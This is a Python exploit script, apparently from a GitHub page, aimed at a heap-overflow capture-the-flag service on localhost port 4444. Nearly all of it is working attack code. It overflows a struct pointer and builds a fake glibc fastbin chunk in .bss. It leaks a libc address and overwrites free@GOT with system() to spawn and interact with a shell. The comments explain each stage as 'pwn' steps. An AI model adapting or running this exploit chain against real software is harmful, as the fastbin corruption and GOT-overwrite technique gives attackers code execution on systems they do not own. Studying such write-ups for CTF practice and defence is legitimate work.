Permalink
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
executable file 271 lines (212 sloc) 8.22 KB
#!/usr/bin/env python
#coding: UTF-8
import re
import os
import sys
import time
import struct
import socket
import select
import tempfile
import subprocess
TARGET = ('127.0.0.1', 4444)
#
# Helper Functions
#
def e(s):
return s.encode('UTF-8')
def d(s):
return s.decode('UTF-8')
def p(d, fmt='<I'):
return struct.pack(fmt, d)
def u(d, fmt='<I'):
return struct.unpack(fmt, d)
def u1(d, fmt='<I'):
return u(d, fmt)[0]
#
# Networking
#
# The default timeout (in seconds) to use for all operations that may raise an exception
DEFAULT_TIMEOUT = 5
# Custom exceptions raised by the Connection class
class ConnectionError(Exception):
pass
class TimeoutError(ConnectionError):
pass
class Connection:
"""Connection abstraction built on top of raw sockets."""
def __init__(self, remote, local_port=0):
self._socket = socket.create_connection(remote, DEFAULT_TIMEOUT, ('', local_port))
# Disable kernel TCP buffering
self._socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
def __enter__(self):
return self
def __exit__(self, type, value, traceback):
self.disconnect()
def disconnect(self):
"""Shut down and close the socket."""
try:
# This will fail if the remote end reset the connection
self._socket.shutdown(socket.SHUT_RDWR)
except:
pass
self._socket.close()
def recv(self, bufsize=4096, timeout=DEFAULT_TIMEOUT, dontraise=False):
"""Receive data from the remote end.
If dontraise is True recv() will not raise a TimeoutError but instead return an empty string.
"""
self._socket.settimeout(timeout)
try:
data = self._socket.recv(bufsize)
except socket.timeout:
if dontraise:
return b''
else:
raise TimeoutError('timed out')
# recv() returns an empty string if the remote end is closed
if len(data) == 0:
raise ConnectionError('remote end closed')
return data
def recvln(self, n=1, timeout=DEFAULT_TIMEOUT):
"""Receive lines from the remote end."""
buf = b''
while buf.count(b'\n') < n:
# This maybe isn't great, but it's short and simple...
buf += self.recv(1, timeout)
return buf
def recv_until_found(self, keywords, timeout=DEFAULT_TIMEOUT):
"""Receive incoming data until one of the provided keywords is found."""
buf = b''
while not any(True for kw in keywords if kw in buf):
buf += self.recv(timeout=timeout)
return buf
def recv_until_match(self, regex, timeout=DEFAULT_TIMEOUT):
"""Receive incoming data until it matches the given regex."""
if isinstance(regex, str):
regex = re.compile(regex)
buf = ''
match = None
while not match:
buf += d(self.recv(timeout=timeout))
match = regex.search(buf)
return match
def send(self, data):
"""Send all data to the remote end or raise an exception."""
self._socket.sendall(data)
def sendln(self, data):
"""Send all data to the remote end or raise an exception. Appends a \\n."""
self.send(data + b'\n')
def interact(self):
"""Interact with the remote end."""
try:
while True:
print(d(self.recv(timeout=.05, dontraise=True)), end='')
available, _, _ = select.select([sys.stdin], [], [], .05)
if available:
data = sys.stdin.readline()
self.send(e(data))
except KeyboardInterrupt:
return
def connect(remote):
"""Factory function."""
return Connection(remote)
#
# Constants
#
fake_chunk = 0x0804A2A0
free_got = 0x0804A238
# lib32-glibc 2.20-6 - Arch Linux
system_off = 0x0003b040
free_off = 0x00074e10
system_delta = system_off - free_off
#
# Exploit Code
#
def new_chunk(c, name, descr):
c.sendln(b'1')
c.sendln(name)
c.sendln(descr)
c.recv()
def new_message(c, content):
c.sendln(b'4')
c.sendln(content)
c.recv()
def free_structs(c):
c.sendln(b'3')
def build_fake_heap(c):
"""Builds a fake heap block at $fake_chunk.
from glibc-2.19:
----------------
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
Fake heap chunk will look like this:
symbol | value | meaning for glibc malloc
------------+--------------+--------------------------------
num_orders | 0x00000000 | size of prev. chunk
num_rifles | 0x00000041 | size of this chunk, prev. chunk is in use
| | in-use bit doesn't really matter since chunk will end up in fastbin -> no consolidation anyways
msgbuf_ptr | 0x41414141 | start of chunk user data, will first point to next free chunk in the fastbin but is fully controlled after the next malloc()
unused mem | 0x00000000 | chunk user data (or backlink if chunk is free and not in a fastbin - fastbins are singly linked list)
unused mem | 0x00000000 | chunk user data
unused mem | 0x00000000 | .
unused mem | 0x00000000 | .
msg_buffer | 0x00000000 | .
. | 0x00000000 | .
. | 0x00000000 | .
. | 0x00000000 | .
. | 0x00000000 | .
. | 0x00000000 | .
. | 0x00000000 | .
. | 0x00000000 | .
(next_rifle)| 0x00000000 | begin of next chunk, not used since current chunk is in use
| | otherwise, if the chunk is in a regular bin (not a fastbin), this would also contain the size of the current chunk
msg_buffer | 0x00000041 | size of next chunk, current chunk is in use
"""
payload = 0x9 * p(0x0) # padding plus next rifle ptr (chunk user data)
payload += p(0x40 | 1) # next size, curr chunk is in use
new_message(c, payload)
with connect(TARGET) as c:
# Set num_rifles to 0x40.
print("[*] Allocating structures...")
for i in range(0x40):
new_chunk(c, b'foo', b'bar')
# Overflow next_rifle ptr to point into the .bss where we'll create a fake heap.
# This also sets num_rifles to 0x41.
print("[*] Performing overflow...")
new_chunk(c, (0x34 - 0x19) * b'A' + p(fake_chunk + 8), b'asdf')
# Construct a valid heap chunk in the .bss.
print("[*] Building fake heap...")
build_fake_heap(c)
# Free all rifle structs -> our fake heap chunk is now the first chunk in the fastbin for size 0x40
free_structs(c)
# Allocate a new chunk. Since the fastbins are LIFO we'll get our fake chunk back.
new_chunk(c, b'pwnpwnpwn', p(free_got) + b'||sh\x00')
# At this point we have an absolute read+write through the message functionality.
# The binary is position-dependent so the rest is straight forward from here on.
print("[*] Done. Leaking libc addresses...")
c.sendln(b'5')
resp = c.recv_until_found([b'Message'])
mem = bytearray(resp[resp.index(b'Message') + 9:])
system = u1(mem[0:4]) + system_delta
print("[+] system() @ 0x{:x}".format(system))
print("[*] Overwriting free@got.plt with address of system()...")
mem[0:4] = p(system)
new_message(c, mem)
print("[*] Done. Ready for pwn")
# Trigger free() again, this time it's going to call system() though.
# The argument of the first call is the struct we allocated above, which is also a valid shell command.
free_structs(c)
# Make sure we got a shell.
time.sleep(.1) # give the shell some time to spawn
c.sendln(b'echo pwned')
c.recv_until_found([b'pwned'])
# All done.
print("[+] Pwned! Enjoy your shell :)")
c.interact()